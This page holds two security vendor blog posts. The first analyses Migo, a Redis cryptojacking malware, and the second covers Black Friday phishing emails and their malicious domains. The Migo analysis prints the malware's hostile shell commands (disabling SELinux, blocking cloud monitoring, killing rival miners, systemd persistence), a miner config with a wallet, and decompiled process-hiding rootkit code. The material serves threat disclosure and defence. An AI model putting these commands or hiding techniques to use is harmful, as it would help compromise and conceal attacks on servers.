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February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
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20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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December 2, 2025

From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks

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Why Black Friday Drives a Surge in Phishing Attacks

In recent years, Black Friday has shifted from a single day of online retail sales and discounts to an extended ‘Black Friday Week’, often preceded by weeks of online hype. During this period, consumers are inundated with promotional emails and marketing campaigns as legitimate retailers compete for attention.

Unsurprisingly, this surge in legitimate communications creates an ideal environment for threat actors to launch targeted phishing campaigns designed to mimic legitimate retail emails. These campaigns often employ social engineering techniques that exploit urgency, exclusivity, and consumer trust in well-known brands, tactics designed to entice recipients into opening emails and clicking on malicious links.

Additionally, given the seasonal nature of Black Friday and the ever-changing habits of consumers, attackers adopt new tactics and register fresh domains each year, rather than reusing domains previously flagged as spam or phishing endpoints. While this may pose a challenge for traditional email security tools, it presents no such difficulty for Darktrace / EMAIL and its anomaly-based approach.

In the days and weeks leading up to ‘Black Friday’, Darktrace observed a spike in sophisticated phishing campaigns targeting consumers, demonstrating how attackers combine phycological manipulation with technical evasion to bypass basic security checks during this high-traffic period. This blog showcases several notable examples of highly convincing phishing emails detected and contained by Darktrace / EMAIL in mid to late November 2025.

Darktrace’s Black Friday Detections

Brand Impersonation: Deal Watchdogs’ Amazon Deals

The impersonation major online retailers has become a common tactic in retail-focused attacks, none more so than Amazon, which ranked as the fourth most impersonated brand in 2024, only behind Microsoft, Apple, Google, and Facebook [1]. Darktrace’s own research found Amazon to be the most mimicked brand, making up 80% of phishing attacks in its analysis of global consumer brands.

When faced with an email that appears to come from a trusted sender like Amazon, recipients are far more likely to engage, increasing the success rate of these phishing campaigns.

In one case observed on November 16, Darktrace detected an email with the subject line “NOW LIVE: Amazon’s Best Early Black Friday Deals on Gadgets Under $60”. The email was sent to a customer by the sender ‘Deal Watchdogs’, in what appeared to be an attempt to masquerade as a legitimate discount-finding platform. No evidence indicated that the company was legitimate. In fact, the threat actor made no attempt to create a convincing name, and the domain appeared to be generated by a domain generation algorithm (DGA), as shown in Figure 2.

Although the email was sent by ‘Deal Watchdogs’, it attempted to impersonate Amazon by featuring realistic branding, including the Amazon logo and a shade of orange similar to that used by them for the ‘CLICK HERE’ button and headline text.

Figure 1: The contents of the email observed by Darktrace, featuring authentic-looking Amazon branding.

Darktrace identified that the email, marked as urgent by the sender, contained a suspicious link to a Google storage endpoint (storage.googleapis[.]com), which had been hidden by the text “CLICK HERE”. If clicked, the link could have led to a credential harvester or served as a delivery vector for a malicious payload hosted on the Google storage platform.

Fortunately, Darktrace immediately identified the suspicious nature of this email and held it before delivery, preventing recipients from ever receiving or interacting with the malicious content.

Figure 2: Darktrace / EMAIL’s detection of the malicious phishing email sent to a customer.

Around the same time, Darktrace detected a similar email attempting to spoof Amazon on another customer’s network with the subject line “Our 10 Favorite Deals on Amazon That Started Today”, also sent by ‘Deal Watchdogs,’ suggesting a broader campaign.

Analysis revealed that this email originated from the domain petplatz[.]com, a fake marketing domain previously linked to spam activity according to open-source intelligence (OSINT) [2].

Brand Impersonation: Louis Vuitton

A few days later, on November 20, Darktrace / EMAIL detected a phishing email attempting to impersonate the luxury fashion brand Louis Vuitton. At first glance, the email, sent under the name ‘Louis Vuitton’ and titled “[Black Friday 2025] Discover Your New Favorite Louis Vuitton Bag – Elegance Starts Here”, appeared to be a legitimate Black Friday promotion. However, Darktrace’s analysis uncovered several red flags indicating a elaborate brand impersonation attempt.

The email was not sent by Louis Vuitton but by rskkqxyu@bookaaatop[.]ru, a Russia-based domain never before observed on the customer’s network. Darktrace flagged this as suspicious, noting that .ru domains were highly unusual for this recipient’s environment, further reinforcing the likelihood of malicious intent. Subsequent analysis revealed that the domain had only recently registered and was flagged as malicious by multiple OSINT sources [3].

Figure 3: Darktrace / EMAIL’s detection of the malicious email attempting to spoofLouis Vuitton, originating from a suspicious Russia-based domain.

Darktrace further noted that the email contained a highly suspicious link hidden behind the text “View Collection” and “Unsubscribe,” ensuring that any interaction, whether visiting the supposed ‘handbag store’ or attempting to opt out of marketing emails, would direct recipients to the same endpoint. The link resolved to xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф), a domain confirmed as malicious by multiple OSINT sources [4]. At the time of analysis, the domain was inaccessible, likely due to takedown efforts or the short-lived nature of the campaign.

Darktrace / EMAIL blocked this email before it reached customer inboxes, preventing recipients from interacting with the malicious content and averting any disruption.

Figure 4: The suspicious domain linked in the Louis Vuitton phishing email, now defunct.

Too good to be true?

Aside from spoofing well-known brands, threat actors frequently lure consumers with “too good to be true” luxury offers, a trend Darktrace observed in multiple cases throughout November.

In one instance, Darktrace identified an email with the subject line “[Black Friday 2025] Luxury Watches Starting at $250.” Emails contained a malicious phishing link, hidden behind text like “Rolex Starting from $250”, “Shop Now”, and “Unsubscribe”.

Figure 5: Example of a phishing email detected by Darktrace, containing malicious links concealed behind seemingly innocuous text.

Similarly to the Louis Vuitton email campaign described above, this malicious link led to a .ru domain (hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html), which had been flagged as malicious by multiple sources [5].

Figure 6: Darktrace / EMAIL’s detection of a malicious email promoting a fake luxury watch store, which was successfully held from recipient inboxes.

If accessed, this domain would redirect users to luxy-rox[.]com, a recently created domain (15 days old at the time of writing) that has also been flagged as malicious by OSINT sources [6]. When visited, the redirect domain displayed a convincing storefront advertising high-end watches at heavily discounted prices.

Figure 7: The fake storefront presented upon visiting the redirectdomain, luxy-rox[.]com.

Although the true intent of this domain could not be confirmed, it was likely a scam site or a credential-harvesting operation, as users were required to create an account to complete a purchase. As of the time or writing, the domain in no longer accessible .

This email illustrates a layered evasion tactic: attackers employed multiple domains, rapid domain registration, and concealed redirects to bypass detection. By leveraging luxury branding and urgency-driven discounts, the campaign sought to exploit seasonal shopping behaviors and entice victims into clicking.

Staying Protected During Seasonal Retail Scams

The investigation into these Black Friday-themed phishing emails highlights a clear trend: attackers are exploiting seasonal shopping events with highly convincing campaigns. Common tactics observed include brand impersonation (Amazon, Louis Vuitton, luxury watch brands), urgency-driven subject lines, and hidden malicious links often hosted on newly registered domains or cloud services.

These campaigns frequently use redirect chains, short-lived infrastructure, and psychological hooks like exclusivity and luxury appeal to bypass user scepticism and security filters. Organizations should remain vigilant during retail-heavy periods, reinforcing user awareness training, link inspection practices, and anomaly-based detection to mitigate these evolving threats.

Credit to Ryan Traill (Analyst Content Lead) and Owen Finn (Cyber Analyst)

Appendices

References

1.        https://keepnetlabs.com/blog/top-5-most-spoofed-brands-in-2024

2.        https://www.virustotal.com/gui/domain/petplatz.com

3.        https://www.virustotal.com/gui/domain/bookaaatop.ru

4.        https://www.virustotal.com/gui/domain/xn--80aaae9btead2a.xn--p1ai

5.        https://www.virustotal.com/gui/url/e2b868a74531cd779d8f4a0e1e610ec7f4efae7c29d8b8ab32c7a6740d770897?nocache=1

6.        https://www.virustotal.com/gui/domain/luxy-rox.com

Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

petplatz[.]com – Hostname – Spam domain

bookaaatop[.]ru – Hostname – Malicious Domain

xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф) – Hostname - Malicious Domain

hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html) – URL – Malicious Domain

luxy-rox[.]com – Hostname -  Malicious Domain

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

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About the author
Ryan Traill
Analyst Content Lead

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November 28, 2025

Phishing attacks surge by 620% in the lead-up to Black Friday

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Black Friday deals are rolling in, and so are the phishing scams

